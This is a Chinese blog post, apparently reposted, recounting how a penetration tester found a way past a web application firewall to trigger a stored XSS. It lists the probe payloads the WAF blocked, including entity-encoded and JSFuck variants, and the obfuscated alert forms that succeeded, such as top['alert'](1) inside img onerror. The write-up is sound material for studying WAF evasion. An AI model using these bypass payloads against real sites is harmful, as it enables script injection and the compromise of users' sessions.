记一则有趣的存储XSS Bypass经历

Posted OnePiece安全团队

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一则有趣的存储XSS Bypass经历相关的知识,希望对你有一定的参考价值。

本文以一次真实渗透测试环境中bypass-xss案例进行分析。

直接进入主题,Bypass分析过程:


记一则有趣的存储XSS Bypass经历

这里我们注入一个<img src=x>发现此处解析了我们标签,感觉有戏!开始一场漫长的Bypass过程。


首先尝试探测下那些会被过滤,使用XSS定位器:<xxx yyy=zzz>123<xxx/>”;!–”=&{()}成功解析:

记一则有趣的存储XSS Bypass经历

<script>123<script>未waf

<script>alert(1)</script>被waf:

记一则有趣的存储XSS Bypass经历

<script>alert</script>未waf

<script>alert(1)</script>被waf

<script>alert(1);</script>被waf

<script>confirm(1);</script>被waf

<script>prompt(1);</script>被waf

<script>eval(1)<script>被waf

基本判断只要存在弹窗函数+()就被waf了:因此我在想是不是过滤圆括号?

记一则有趣的存储XSS Bypass经历

探测不使用圆括号poc如下:

<script>alert`1`</script>被waf

<script>alert`1`;</script>被waf

<Img src = xonerror = "javascript: window.onerror = alert; throw XSS">被waf:

使用javascript协议均被waf:

使用十进制,各类编码,js等:

<IMGSRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;

&#39;&#88;&#83;&#83;&#39;&#41;>

<IMGSRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

<IMGSRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

<img src=a onerror=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()>

等等均被waf


记一则有趣的存储XSS Bypass经历

综上所述我整理了被waf的点如下:

测试点

被waf

未waf

alert


1

alert()

1

Javascript:

1

<a>各类标签


1

on事件


1


于是我开始对alert(1)进行fuzz,其实只要alert被执行了即可绕过:

使用JS window对象的例如top、parent、opener进行测试:

1、top该变更永远指分割窗口最高层次的浏览器窗口。如果计划从分割窗口的最高层次开始执行命令,就可以用top变量。

2、opener opener用于在window.open的页面引用执行该window.open方法的的页面的对象。例如:A页面通过window.open()方 法弹出了B页面,在B页面中就可以通过opener来引用A页面,这样就可以通过这个对象来对A页面进行操作。

3、parent parent用于在iframe,frame中生成的子页面中访问父页面的对象。例如:A页面中有一个iframe或frame,那么iframe 或frame中的页面就可以通过parent对象来引用A页面中的对象。这样就可以获取或返回值到A页面中。


测试POC如下:

<img src=a onerror=top[alert(1)]>被waf:

<img src=a onerror=parent[alert(1)]>被waf:

<img src=a onerror=opener[alert(1)]>被waf:

记一则有趣的存储XSS Bypass经历


突然间我顿悟了!其实只要构造畸形的alert(1)就有可能绕过:

例如:

top['alert'](1)

top['al'+'ert'](1)

top[‘al\145rt’](1)

top[‘al\x65rt’](1)

top[8680439..toString(30)](1)

top[“al”+”ert”](1)

top[/al/.source+/ert/.source](1)

a=alert,a(1)

[1].find(alert)

al\u0065rt(1)

al%0aert(1)

终于!再使用畸形alert混淆后成功绕过

<img src=aonerror=top[‘alert’](1)> Bypass

<img src=aonerror=[1].find(alert)> Bypass

 

bypass xss如下:

记一则有趣的存储XSS Bypass经历

触发存储XSS:

记一则有趣的存储XSS Bypass经历


记一则有趣的存储XSS Bypass经历

在平时渗透当中,在我们对bypass还一脸懵逼的状态下,可以通xss bypass_fuzz 字典进行fuzz尝试。这是我参考freebuf上的文章:https://www.freebuf.com/articles/web/153055.html

整理的xss_bypass.dict:

fuzz结果如下397即时可能bypass的语句,可以进行提取后在手工深入分析提高bypass效率与几率:


在适当的场景适当使用,例如像本案例一样需要对alert()混淆畸形绕过,可以仅对弹窗函数进行fuzz,字典是固定的,但是fuzz是可以天马行空的。

后台回复 bypass 即可获取fuzz字典。



以上是关于记一则有趣的存储XSS Bypass经历的主要内容,如果未能解决你的问题,请参考以下文章

存储型XSS的发现经历和一点绕过思路

一次XSS测试经历

Vue2实践computed监听Vuex中state对象中的对象属性时发生的一些有趣经历

xss bypass 学习记录

Xss Bypass

一次有趣的爬虫经历